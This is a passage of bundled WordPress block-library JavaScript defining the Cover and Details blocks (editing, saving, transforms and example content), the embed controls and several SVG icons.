14407 muted: true,
14408 loop: true,
14409 src: url,
14410 poster,
14411 style: mediaStyle
14412 }
14413 ),
14414 showOverlay && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14415 "span",
14416 {
14417 "aria-hidden": "true",
14418 className: dist_clsx(
14419 "wp-block-cover__background",
14420 dimRatioToClass(dimRatio),
14421 {
14422 [overlayColor.class]: overlayColor.class,
14423 "has-background-dim": dimRatio !== void 0,
14424 // For backwards compatibility. Former versions of the Cover Block applied
14425 // `.wp-block-cover__gradient-background` in the presence of
14426 // media, a gradient and a dim.
14427 "wp-block-cover__gradient-background": url && gradientValue && dimRatio !== 0,
14428 "has-background-gradient": gradientValue,
14429 [gradientClass]: gradientClass
14430 }
14431 ),
14432 style: { backgroundImage: gradientValue, ...bgStyle }
14433 }
14434 ),
14435 isUploadingMedia && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}),
14436 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14437 CoverPlaceholder,
14438 {
14439 disableMediaButtons: true,
14440 onSelectMedia,
14441 onError: onUploadError,
14442 toggleUseFeaturedImage
14443 }
14444 ),
14445 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...innerBlocksProps })
14446 ]
14447 }
14448 ),
14449 hasNonContentControls && isSelected && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ResizableCoverPopover, { ...resizableCoverProps })
14450 ] });
14451}
14452var cover_edit_edit_default = (0,external_wp_compose_namespaceObject.compose)([
14453 (0,external_wp_blockEditor_namespaceObject.withColors)({ overlayColor: "background-color" })
14454])(CoverEdit);
14455
14456
14457;// ./node_modules/@wordpress/block-library/build-module/cover/block.json
14458const cover_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/cover","title":"Cover","category":"media","description":"Add an image or video with a text overlay.","textdomain":"default","attributes":{"url":{"type":"string","role":"content"},"useFeaturedImage":{"type":"boolean","default":false},"id":{"type":"number"},"alt":{"type":"string","default":""},"hasParallax":{"type":"boolean","default":false},"isRepeated":{"type":"boolean","default":false},"dimRatio":{"type":"number","default":100},"overlayColor":{"type":"string"},"customOverlayColor":{"type":"string"},"isUserOverlayColor":{"type":"boolean"},"backgroundType":{"type":"string","default":"image"},"focalPoint":{"type":"object"},"minHeight":{"type":"number"},"minHeightUnit":{"type":"string"},"gradient":{"type":"string"},"customGradient":{"type":"string"},"contentPosition":{"type":"string"},"isDark":{"type":"boolean","default":true},"templateLock":{"type":["string","boolean"],"enum":["all","insert","contentOnly",false]},"tagName":{"type":"string","default":"div"},"sizeSlug":{"type":"string"},"poster":{"type":"string","source":"attribute","selector":"video","attribute":"poster"}},"usesContext":["postId","postType"],"supports":{"anchor":true,"align":true,"html":false,"shadow":true,"spacing":{"padding":true,"margin":["top","bottom"],"blockGap":true,"__experimentalDefaultControls":{"padding":true,"blockGap":true}},"__experimentalBorder":{"color":true,"radius":true,"style":true,"width":true,"__experimentalDefaultControls":{"color":true,"radius":true,"style":true,"width":true}},"color":{"heading":true,"text":true,"background":false,"__experimentalSkipSerialization":["gradients"],"enableContrastChecker":false},"dimensions":{"aspectRatio":true},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"layout":{"allowJustification":false},"interactivity":{"clientNavigation":true},"filter":{"duotone":true},"allowedBlocks":true},"selectors":{"filter":{"duotone":".wp-block-cover > .wp-block-cover__image-background, .wp-block-cover > .wp-block-cover__video-background"}},"editorStyle":"wp-block-cover-editor","style":"wp-block-cover"}');
14459;// ./node_modules/@wordpress/block-library/build-module/cover/save.js
14460
14461
14462
14463
14464function cover_save_save({ attributes }) {
14465 const {
14466 backgroundType,
14467 gradient,
14468 contentPosition,
14469 customGradient,
14470 customOverlayColor,
14471 dimRatio,
14472 focalPoint,
14473 useFeaturedImage,
14474 hasParallax,
14475 isDark,
14476 isRepeated,
14477 overlayColor,
14478 url,
14479 alt,
14480 id,
14481 minHeight: minHeightProp,
14482 minHeightUnit,
14483 tagName: Tag,
14484 sizeSlug,
14485 poster
14486 } = attributes;
14487 const overlayColorClass = (0,external_wp_blockEditor_namespaceObject.getColorClassName)(
14488 "background-color",
14489 overlayColor
14490 );
14491 const gradientClass = (0,external_wp_blockEditor_namespaceObject.__experimentalGetGradientClass)(gradient);
14492 const minHeight = minHeightProp && minHeightUnit ? `${minHeightProp}${minHeightUnit}` : minHeightProp;
14493 const isImageBackground = IMAGE_BACKGROUND_TYPE === backgroundType;
14494 const isVideoBackground = VIDEO_BACKGROUND_TYPE === backgroundType;
14495 const isImgElement = !(hasParallax || isRepeated);
14496 const style = {
14497 minHeight: minHeight || void 0
14498 };
14499 const bgStyle = {
14500 backgroundColor: !overlayColorClass ? customOverlayColor : void 0,
14501 background: customGradient ? customGradient : void 0
14502 };
14503 const objectPosition = (
14504 // prettier-ignore
14505 focalPoint && isImgElement ? mediaPosition(focalPoint) : void 0
14506 );
14507 const backgroundImage = url ? `url(${url})` : void 0;
14508 const backgroundPosition = mediaPosition(focalPoint);
14509 const classes = dist_clsx(
14510 {
14511 "is-light": !isDark,
14512 "has-parallax": hasParallax,
14513 "is-repeated": isRepeated,
14514 "has-custom-content-position": !isContentPositionCenter(contentPosition)
14515 },
14516 getPositionClassName(contentPosition)
14517 );
14518 const imgClasses = dist_clsx(
14519 "wp-block-cover__image-background",
14520 id ? `wp-image-${id}` : null,
14521 {
14522 [`size-${sizeSlug}`]: sizeSlug,
14523 "has-parallax": hasParallax,
14524 "is-repeated": isRepeated
14525 }
14526 );
14527 const gradientValue = gradient || customGradient;
14528 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(Tag, { ...external_wp_blockEditor_namespaceObject.useBlockProps.save({ className: classes, style }), children: [
14529 !useFeaturedImage && isImageBackground && url && (isImgElement ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14530 "img",
14531 {
14532 className: imgClasses,
14533 alt,
14534 src: url,
14535 style: { objectPosition },
14536 "data-object-fit": "cover",
14537 "data-object-position": objectPosition
14538 }
14539 ) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14540 "div",
14541 {
14542 role: alt ? "img" : void 0,
14543 "aria-label": alt ? alt : void 0,
14544 className: imgClasses,
14545 style: { backgroundPosition, backgroundImage }
14546 }
14547 )),
14548 isVideoBackground && url && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14549 "video",
14550 {
14551 className: dist_clsx(
14552 "wp-block-cover__video-background",
14553 "intrinsic-ignore"
14554 ),
14555 autoPlay: true,
14556 muted: true,
14557 loop: true,
14558 playsInline: true,
14559 src: url,
14560 poster,
14561 style: { objectPosition },
14562 "data-object-fit": "cover",
14563 "data-object-position": objectPosition
14564 }
14565 ),
14566 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14567 "span",
14568 {
14569 "aria-hidden": "true",
14570 className: dist_clsx(
14571 "wp-block-cover__background",
14572 overlayColorClass,
14573 dimRatioToClass(dimRatio),
14574 {
14575 "has-background-dim": dimRatio !== void 0,
14576 // For backwards compatibility. Former versions of the Cover Block applied
14577 // `.wp-block-cover__gradient-background` in the presence of
14578 // media, a gradient and a dim.
14579 "wp-block-cover__gradient-background": url && gradientValue && dimRatio !== 0,
14580 "has-background-gradient": gradientValue,
14581 [gradientClass]: gradientClass
14582 }
14583 ),
14584 style: bgStyle
14585 }
14586 ),
14587 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14588 "div",
14589 {
14590 ...external_wp_blockEditor_namespaceObject.useInnerBlocksProps.save({
14591 className: "wp-block-cover__inner-container"
14592 })
14593 }
14594 )
14595 ] });
14596}
14597
14598
14599;// ./node_modules/@wordpress/block-library/build-module/cover/transforms.js
14600
14601
14602
14603
14604const { cleanEmptyObject: transforms_cleanEmptyObject } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
14605const cover_transforms_transforms = {
14606 from: [
14607 {
14608 type: "block",
14609 blocks: ["core/image"],
14610 transform: ({ caption, url, alt, align, id, anchor, style }) => (0,external_wp_blocks_namespaceObject.createBlock)(
14611 "core/cover",
14612 {
14613 dimRatio: 50,
14614 url,
14615 alt,
14616 align,
14617 id,
14618 anchor,
14619 style: {
14620 color: {
14621 duotone: style?.color?.duotone
14622 }
14623 }
14624 },
14625 [
14626 (0,external_wp_blocks_namespaceObject.createBlock)("core/paragraph", {
14627 content: caption,
14628 fontSize: "large",
14629 align: "center"
14630 })
14631 ]
14632 )
14633 },
14634 {
14635 type: "block",
14636 blocks: ["core/video"],
14637 transform: ({ caption, src, align, id, anchor }) => (0,external_wp_blocks_namespaceObject.createBlock)(
14638 "core/cover",
14639 {
14640 dimRatio: 50,
14641 url: src,
14642 align,
14643 id,
14644 backgroundType: VIDEO_BACKGROUND_TYPE,
14645 anchor
14646 },
14647 [
14648 (0,external_wp_blocks_namespaceObject.createBlock)("core/paragraph", {
14649 content: caption,
14650 fontSize: "large",
14651 align: "center"
14652 })
14653 ]
14654 )
14655 },
14656 {
14657 type: "block",
14658 blocks: ["core/group"],
14659 transform: (attributes, innerBlocks) => {
14660 const { align, anchor, backgroundColor, gradient, style } = attributes;
14661 if (innerBlocks?.length === 1 && innerBlocks[0]?.name === "core/cover") {
14662 return (0,external_wp_blocks_namespaceObject.createBlock)(
14663 "core/cover",
14664 innerBlocks[0].attributes,
14665 innerBlocks[0].innerBlocks
14666 );
14667 }
14668 const dimRatio = backgroundColor || gradient || style?.color?.background || style?.color?.gradient ? void 0 : 50;
14669 const parentAttributes = {
14670 align,
14671 anchor,
14672 dimRatio,
14673 overlayColor: backgroundColor,
14674 customOverlayColor: style?.color?.background,
14675 gradient,
14676 customGradient: style?.color?.gradient
14677 };
14678 const attributesWithoutBackgroundColors = {
14679 ...attributes,
14680 backgroundColor: void 0,
14681 gradient: void 0,
14682 style: transforms_cleanEmptyObject({
14683 ...attributes?.style,
14684 color: style?.color ? {
14685 ...style?.color,
14686 background: void 0,
14687 gradient: void 0
14688 } : void 0
14689 })
14690 };
14691 return (0,external_wp_blocks_namespaceObject.createBlock)("core/cover", parentAttributes, [
14692 (0,external_wp_blocks_namespaceObject.createBlock)(
14693 "core/group",
14694 attributesWithoutBackgroundColors,
14695 innerBlocks
14696 )
14697 ]);
14698 }
14699 }
14700 ],
14701 to: [
14702 {
14703 type: "block",
14704 blocks: ["core/image"],
14705 isMatch: ({
14706 backgroundType,
14707 url,
14708 overlayColor,
14709 customOverlayColor,
14710 gradient,
14711 customGradient
14712 }) => {
14713 if (url) {
14714 return backgroundType === IMAGE_BACKGROUND_TYPE;
14715 }
14716 return !overlayColor && !customOverlayColor && !gradient && !customGradient;
14717 },
14718 transform: ({ title, url, alt, align, id, anchor, style }) => (0,external_wp_blocks_namespaceObject.createBlock)("core/image", {
14719 caption: title,
14720 url,
14721 alt,
14722 align,
14723 id,
14724 anchor,
14725 style: {
14726 color: {
14727 duotone: style?.color?.duotone
14728 }
14729 }
14730 })
14731 },
14732 {
14733 type: "block",
14734 blocks: ["core/video"],
14735 isMatch: ({
14736 backgroundType,
14737 url,
14738 overlayColor,
14739 customOverlayColor,
14740 gradient,
14741 customGradient
14742 }) => {
14743 if (url) {
14744 return backgroundType === VIDEO_BACKGROUND_TYPE;
14745 }
14746 return !overlayColor && !customOverlayColor && !gradient && !customGradient;
14747 },
14748 transform: ({ title, url, align, id, anchor }) => (0,external_wp_blocks_namespaceObject.createBlock)("core/video", {
14749 caption: title,
14750 src: url,
14751 id,
14752 align,
14753 anchor
14754 })
14755 },
14756 {
14757 type: "block",
14758 blocks: ["core/group"],
14759 isMatch: ({ url, useFeaturedImage }) => {
14760 if (url || useFeaturedImage) {
14761 return false;
14762 }
14763 return true;
14764 },
14765 transform: (attributes, innerBlocks) => {
14766 const transformedColorAttributes = {
14767 backgroundColor: attributes?.overlayColor,
14768 gradient: attributes?.gradient,
14769 style: transforms_cleanEmptyObject({
14770 ...attributes?.style,
14771 color: attributes?.customOverlayColor || attributes?.customGradient || attributes?.style?.color ? {
14772 background: attributes?.customOverlayColor,
14773 gradient: attributes?.customGradient,
14774 ...attributes?.style?.color
14775 } : void 0
14776 })
14777 };
14778 if (innerBlocks?.length === 1 && innerBlocks[0]?.name === "core/group") {
14779 const groupAttributes = transforms_cleanEmptyObject(
14780 innerBlocks[0].attributes || {}
14781 );
14782 if (groupAttributes?.backgroundColor || groupAttributes?.gradient || groupAttributes?.style?.color?.background || groupAttributes?.style?.color?.gradient) {
14783 return (0,external_wp_blocks_namespaceObject.createBlock)(
14784 "core/group",
14785 groupAttributes,
14786 innerBlocks[0]?.innerBlocks
14787 );
14788 }
14789 return (0,external_wp_blocks_namespaceObject.createBlock)(
14790 "core/group",
14791 {
14792 ...transformedColorAttributes,
14793 ...groupAttributes,
14794 style: transforms_cleanEmptyObject({
14795 ...groupAttributes?.style,
14796 color: transformedColorAttributes?.style?.color || groupAttributes?.style?.color ? {
14797 ...transformedColorAttributes?.style?.color,
14798 ...groupAttributes?.style?.color
14799 } : void 0
14800 })
14801 },
14802 innerBlocks[0]?.innerBlocks
14803 );
14804 }
14805 return (0,external_wp_blocks_namespaceObject.createBlock)(
14806 "core/group",
14807 { ...attributes, ...transformedColorAttributes },
14808 innerBlocks
14809 );
14810 }
14811 }
14812 ]
14813};
14814var cover_transforms_transforms_default = cover_transforms_transforms;
14815
14816
14817;// ./node_modules/@wordpress/block-library/build-module/cover/variations.js
14818
14819
14820const cover_variations_variations = [
14821 {
14822 name: "cover",
14823 title: (0,external_wp_i18n_namespaceObject.__)("Cover"),
14824 description: (0,external_wp_i18n_namespaceObject.__)("Add an image or video with a text overlay."),
14825 attributes: { layout: { type: "constrained" } },
14826 isDefault: true,
14827 icon: cover_default
14828 }
14829];
14830var cover_variations_variations_default = cover_variations_variations;
14831
14832
14833;// ./node_modules/@wordpress/block-library/build-module/cover/index.js
14834
14835
14836
14837
14838
14839
14840
14841
14842
14843const { name: cover_name } = cover_block_namespaceObject;
14844const cover_settings = {
14845 icon: cover_default,
14846 example: {
14847 attributes: {
14848 customOverlayColor: "#065174",
14849 dimRatio: 40,
14850 url: "https://s.w.org/images/core/5.3/Windbuchencom.jpg",
14851 style: {
14852 typography: {
14853 fontSize: 48
14854 },
14855 color: {
14856 text: "white"
14857 }
14858 }
14859 },
14860 innerBlocks: [
14861 {
14862 name: "core/paragraph",
14863 attributes: {
14864 content: `<strong>${(0,external_wp_i18n_namespaceObject.__)("Snow Patrol")}</strong>`,
14865 align: "center"
14866 }
14867 }
14868 ]
14869 },
14870 transforms: cover_transforms_transforms_default,
14871 save: cover_save_save,
14872 edit: cover_edit_edit_default,
14873 deprecated: cover_deprecated_deprecated_default,
14874 variations: cover_variations_variations_default
14875};
14876const cover_init = () => initBlock({ name: cover_name, metadata: cover_block_namespaceObject, settings: cover_settings });
14877
14878
14879;// ./node_modules/@wordpress/icons/build-module/library/details.js
14880
14881
14882var details_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: [
14883 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14884 external_wp_primitives_namespaceObject.Path,
14885 {
14886 d: "M4 16h10v1.5H4V16Zm0-4.5h16V13H4v-1.5ZM10 7h10v1.5H10V7Z",
14887 fillRule: "evenodd",
14888 clipRule: "evenodd"
14889 }
14890 ),
14891 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "m4 5.25 4 2.5-4 2.5v-5Z" })
14892] });
14893
14894
14895;// ./node_modules/@wordpress/block-library/build-module/details/block.json
14896const details_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/details","title":"Details","category":"text","description":"Hide and show additional content.","keywords":["summary","toggle","disclosure"],"textdomain":"default","attributes":{"showContent":{"type":"boolean","default":false},"summary":{"type":"rich-text","source":"rich-text","selector":"summary","role":"content"},"name":{"type":"string","source":"attribute","attribute":"name","selector":".wp-block-details"},"placeholder":{"type":"string"}},"supports":{"__experimentalOnEnter":true,"align":["wide","full"],"anchor":true,"color":{"gradients":true,"link":true,"__experimentalDefaultControls":{"background":true,"text":true}},"__experimentalBorder":{"color":true,"width":true,"style":true},"html":false,"spacing":{"margin":true,"padding":true,"blockGap":true,"__experimentalDefaultControls":{"margin":false,"padding":false}},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"layout":{"allowEditing":false},"interactivity":{"clientNavigation":true},"allowedBlocks":true},"editorStyle":"wp-block-details-editor","style":"wp-block-details"}');
14897;// ./node_modules/@wordpress/block-library/build-module/details/edit.js
14898
14899
14900
14901
14902
14903
14904
14905
14906const { withIgnoreIMEEvents } = unlock(external_wp_components_namespaceObject.privateApis);
14907const details_edit_TEMPLATE = [
14908 [
14909 "core/paragraph",
14910 {
14911 placeholder: (0,external_wp_i18n_namespaceObject.__)("Type / to add a hidden block")
14912 }
14913 ]
14914];
14915function DetailsEdit({ attributes, setAttributes, clientId }) {
14916 const { name, showContent, summary, allowedBlocks, placeholder } = attributes;
14917 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)();
14918 const innerBlocksProps = (0,external_wp_blockEditor_namespaceObject.useInnerBlocksProps)(blockProps, {
14919 template: details_edit_TEMPLATE,
14920 __experimentalCaptureToolbars: true,
14921 allowedBlocks
14922 });
14923 const [isOpen, setIsOpen] = (0,external_wp_element_namespaceObject.useState)(showContent);
14924 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
14925 const hasSelectedInnerBlock = (0,external_wp_data_namespaceObject.useSelect)(
14926 (select) => select(external_wp_blockEditor_namespaceObject.store).hasSelectedInnerBlock(clientId, true),
14927 [clientId]
14928 );
14929 const handleSummaryKeyDown = (event) => {
14930 if (event.key === "Enter" && !event.shiftKey) {
14931 setIsOpen((prevIsOpen) => !prevIsOpen);
14932 event.preventDefault();
14933 }
14934 };
14935 const handleSummaryKeyUp = (event) => {
14936 if (event.key === " ") {
14937 event.preventDefault();
14938 }
14939 };
14940 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
14941 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14942 external_wp_components_namespaceObject.__experimentalToolsPanel,
14943 {
14944 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
14945 resetAll: () => {
14946 setAttributes({
14947 showContent: false
14948 });
14949 },
14950 dropdownMenuProps,
14951 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14952 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
14953 {
14954 isShownByDefault: true,
14955 label: (0,external_wp_i18n_namespaceObject.__)("Open by default"),
14956 hasValue: () => showContent,
14957 onDeselect: () => {
14958 setAttributes({
14959 showContent: false
14960 });
14961 },
14962 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14963 external_wp_components_namespaceObject.ToggleControl,
14964 {
14965 __nextHasNoMarginBottom: true,
14966 label: (0,external_wp_i18n_namespaceObject.__)("Open by default"),
14967 checked: showContent,
14968 onChange: () => setAttributes({
14969 showContent: !showContent
14970 })
14971 }
14972 )
14973 }
14974 )
14975 }
14976 ) }),
14977 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { group: "advanced", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14978 external_wp_components_namespaceObject.TextControl,
14979 {
14980 __next40pxDefaultSize: true,
14981 __nextHasNoMarginBottom: true,
14982 label: (0,external_wp_i18n_namespaceObject.__)("Name attribute"),
14983 value: name || "",
14984 onChange: (newName) => setAttributes({ name: newName }),
14985 help: (0,external_wp_i18n_namespaceObject.__)(
14986 "Enables multiple Details blocks with the same name attribute to be connected, with only one open at a time."
14987 )
14988 }
14989 ) }),
14990 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
14991 "details",
14992 {
14993 ...innerBlocksProps,
14994 open: isOpen || hasSelectedInnerBlock,
14995 onToggle: (event) => setIsOpen(event.target.open),
14996 name: name || "",
14997 children: [
14998 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14999 "summary",
15000 {
15001 onKeyDown: withIgnoreIMEEvents(handleSummaryKeyDown),
15002 onKeyUp: handleSummaryKeyUp,
15003 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15004 external_wp_blockEditor_namespaceObject.RichText,
15005 {
15006 identifier: "summary",
15007 "aria-label": (0,external_wp_i18n_namespaceObject.__)(
15008 "Write summary. Press Enter to expand or collapse the details."
15009 ),
15010 placeholder: placeholder || (0,external_wp_i18n_namespaceObject.__)("Write summary\u2026"),
15011 withoutInteractiveFormatting: true,
15012 value: summary,
15013 onChange: (newSummary) => setAttributes({ summary: newSummary })
15014 }
15015 )
15016 }
15017 ),
15018 innerBlocksProps.children
15019 ]
15020 }
15021 )
15022 ] });
15023}
15024var details_edit_edit_default = DetailsEdit;
15025
15026
15027;// ./node_modules/@wordpress/block-library/build-module/details/save.js
15028
15029
15030function details_save_save({ attributes }) {
15031 const { name, showContent } = attributes;
15032 const summary = attributes.summary ? attributes.summary : "Details";
15033 const blockProps = external_wp_blockEditor_namespaceObject.useBlockProps.save();
15034 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
15035 "details",
15036 {
15037 ...blockProps,
15038 name: name || void 0,
15039 open: showContent,
15040 children: [
15041 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("summary", { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { value: summary }) }),
15042 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks.Content, {})
15043 ]
15044 }
15045 );
15046}
15047
15048
15049;// ./node_modules/@wordpress/block-library/build-module/details/transforms.js
15050
15051var details_transforms_transforms_default = {
15052 from: [
15053 {
15054 type: "block",
15055 isMultiBlock: true,
15056 blocks: ["*"],
15057 isMatch({}, blocks) {
15058 return !(blocks.length === 1 && blocks[0].name === "core/details");
15059 },
15060 __experimentalConvert(blocks) {
15061 return (0,external_wp_blocks_namespaceObject.createBlock)(
15062 "core/details",
15063 {},
15064 blocks.map((block) => (0,external_wp_blocks_namespaceObject.cloneBlock)(block))
15065 );
15066 }
15067 }
15068 ]
15069};
15070
15071
15072;// ./node_modules/@wordpress/block-library/build-module/details/index.js
15073
15074
15075
15076
15077
15078
15079
15080const { name: details_name } = details_block_namespaceObject;
15081const details_settings = {
15082 icon: details_default,
15083 example: {
15084 attributes: {
15085 summary: (0,external_wp_i18n_namespaceObject.__)("La Mancha"),
15086 showContent: true
15087 },
15088 innerBlocks: [
15089 {
15090 name: "core/paragraph",
15091 attributes: {
15092 content: (0,external_wp_i18n_namespaceObject.__)(
15093 "In a village of La Mancha, the name of which I have no desire to call to mind, there lived not long since one of those gentlemen that keep a lance in the lance-rack, an old buckler, a lean hack, and a greyhound for coursing."
15094 )
15095 }
15096 }
15097 ]
15098 },
15099 __experimentalLabel(attributes, { context }) {
15100 const { summary } = attributes;
15101 const customName = attributes?.metadata?.name;
15102 const hasSummary = summary?.trim().length > 0;
15103 if (context === "list-view" && (customName || hasSummary)) {
15104 return customName || summary;
15105 }
15106 if (context === "accessibility") {
15107 return !hasSummary ? (0,external_wp_i18n_namespaceObject.__)("Details. Empty.") : (0,external_wp_i18n_namespaceObject.sprintf)(
15108 /* translators: %s: accessibility text; summary title. */
15109 (0,external_wp_i18n_namespaceObject.__)("Details. %s"),
15110 summary
15111 );
15112 }
15113 },
15114 save: details_save_save,
15115 edit: details_edit_edit_default,
15116 transforms: details_transforms_transforms_default
15117};
15118const details_init = () => initBlock({ name: details_name, metadata: details_block_namespaceObject, settings: details_settings });
15119
15120
15121;// ./node_modules/@wordpress/icons/build-module/library/pencil.js
15122
15123
15124var pencil_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "m19 7-3-3-8.5 8.5-1 4 4-1L19 7Zm-7 11.5H5V20h7v-1.5Z" }) });
15125
15126
15127;// ./node_modules/@wordpress/block-library/build-module/embed/embed-controls.js
15128
15129
15130
15131
15132
15133
15134function getResponsiveHelp(checked) {
15135 return checked ? (0,external_wp_i18n_namespaceObject.__)(
15136 "This embed will preserve its aspect ratio when the browser is resized."
15137 ) : (0,external_wp_i18n_namespaceObject.__)(
15138 "This embed may not preserve its aspect ratio when the browser is resized."
15139 );
15140}
15141const EmbedControls = ({
15142 blockSupportsResponsive,
15143 showEditButton,
15144 themeSupportsResponsive,
15145 allowResponsive,
15146 toggleResponsive,
15147 switchBackToURLInput
15148}) => {
15149 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
15150 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
15151 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarGroup, { children: showEditButton && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15152 external_wp_components_namespaceObject.ToolbarButton,
15153 {
15154 className: "components-toolbar__control",
15155 label: (0,external_wp_i18n_namespaceObject.__)("Edit URL"),
15156 icon: pencil_default,
15157 onClick: switchBackToURLInput
15158 }
15159 ) }) }),
15160 themeSupportsResponsive && blockSupportsResponsive && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15161 external_wp_components_namespaceObject.__experimentalToolsPanel,
15162 {
15163 label: (0,external_wp_i18n_namespaceObject.__)("Media settings"),
15164 resetAll: () => {
15165 toggleResponsive(true);
15166 },
15167 dropdownMenuProps,
15168 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15169 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
15170 {
15171 label: (0,external_wp_i18n_namespaceObject.__)("Media settings"),
15172 isShownByDefault: true,
15173 hasValue: () => !allowResponsive,
15174 onDeselect: () => {
15175 toggleResponsive(!allowResponsive);
15176 },
15177 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
15178 external_wp_components_namespaceObject.ToggleControl,
15179 {
15180 __nextHasNoMarginBottom: true,
15181 label: (0,external_wp_i18n_namespaceObject.__)("Resize for smaller devices"),
15182 checked: allowResponsive,
15183 help: getResponsiveHelp,
15184 onChange: toggleResponsive
15185 }
15186 )
15187 }
15188 )
15189 }
15190 ) })
15191 ] });
15192};
15193var embed_controls_default = EmbedControls;
15194
15195
15196;// ./node_modules/@wordpress/block-library/build-module/embed/icons.js
15197
15198
15199const embedContentIcon = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, { d: "M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm.5 16c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5V9.8l4.7-5.3H19c.3 0 .5.2.5.5v14zm-6-9.5L16 12l-2.5 2.8 1.1 1L18 12l-3.5-3.5-1 1zm-3 0l-1-1L6 12l3.5 3.8 1.1-1L8 12l2.5-2.5z" }) });
